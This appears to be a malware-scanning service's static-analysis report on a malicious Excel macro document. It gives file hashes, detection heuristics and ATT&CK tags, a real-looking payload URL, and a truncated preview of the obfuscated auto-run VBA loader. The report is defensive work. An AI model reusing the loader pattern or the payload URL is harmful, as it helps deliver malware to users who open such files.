Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9faee4dc04dd36f5…

MALICIOUS

Office (OLE)

926.0 KB Created: 2018-06-26 14:12:39 Authoring application: Microsoft Excel First seen: 2019-02-10
MD5: dd86506ccb1ca832aa70dc6d69a860fc SHA-1: 4a8609a46899afa5f1ad2ca9421d2cfb641b47ec SHA-256: 9faee4dc04dd36f5764063529754e70e429562ffc4b7e441de9664e55b99b994
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The critical heuristics indicate an obfuscated auto-exec VBA loader that uses Shell() calls, strongly suggesting it's designed to download and execute a second-stage payload. The Workbook_Open macro is a common technique for initiating this malicious behavior. The embedded URL is likely the source for the payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6846613-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6846613-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://a.coka.la/Bpesqb.jpg In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 697557 bytes
SHA-256: 0ce2d5659f0cd617efc8c36289d454bd54fb25016d8d3d741607ee8df5604458
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 143 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()

iOcMyhIEIsXfZO.xtvxvENARnqAY
'yOJEcmjBlHcICCJIyNcqhVcsLkXtSPcjlOTiGEjTbrElhfFCoZRri
Dim BCdmRssPqiVftXnjaBteIOqRqLffUEsykAjMpwpLrElIiGnHRSNYXNZm
'LLvFMMulqXusobteLinEdiikXXOCrTbXbxAdAjyeKzRLMuTpZjMpaUIddLhoy
Dim ruXwXRqbPdcjIueQXYdEYdHHmwGpWApBKfSEtPoddOJFkFRadMGnEkaO
End Sub





Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "iOcMyhIEIsXfZO"

Public Sub xtvxvENARnqAY()

'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBYSAISOLDBEMPGZEBARLLPMTDJLHFDPHKQBXNCFVPWABMAVPAIAHDMJHKSKKGXFCFVKDRKLNFZVGWPXUEYBRJRDGNUVRKVGHRCBLAGIKWOKVSDNHONFKCPBBFSYFIJNHBYPMTQWBHCKQATHFEHMLOI
'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBYSAISOLDBEMPGZEBARLLPMTDJLHFDPHKQBXNCFVPWABMAVPAIAHDMJHKSKKGXFCFVKDRKLNFZVGWPXUEYBRJRDGNUVRKVGHRCBLAGIKWOKVSDNHONFKCPBBFSYFIJNHBYPMTQWBHCKQATHFEHMLOI
'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBYSAISOLDBEMPGZEBARLLPMTDJLHFDPHKQBXNCFVPWABMAVPAIAHDMJHKSKKGXFCFVKDRKLNFZVGWPXUEYBRJRDGNUVRKVGHRCBLAGIKWOKVSDNHONFKCPBBFSYFIJNHBYPMTQWBHCKQATHFEHMLOI
'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBYSAISOLDBEMPGZEBARLLPMTDJLHFDPHKQBXNCFVPWABMAVPAIAHDMJHKSKKGXFCFVKDRKLNFZVGWPXUEYBRJRDGNUVRKVGHRCBLAGIKWOKVSDNHONFKCPBBFSYFIJNHBYPMTQWBHCKQATHFEHMLOI
'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBYSAISOLDBEMPGZEBARLLPMTDJLHFDPHKQBXNCFVPWABMAVPAIAHDMJHKSKKGXFCFVKDRKLNFZVGWPXUEYBRJRDGNUVRKVGHRCBLAGIKWOKVSDNHONFKCPBBFSYFIJNHBYPMTQWBHCKQATHFEHMLOI
'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBYSAISOLDBEMPGZEBARLLPMTDJLHFDPHKQBXNCFVPWABMAVPAIAHDMJHKSKKGXFCFVKDRKLNFZVGWPXUEYBRJRDGNUVRKVGHRCBLAGIKWOKVSDNHONFKCPBBFSYFIJNHBYPMTQWBHCKQATHFEHMLOI
'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRS
... (truncated)

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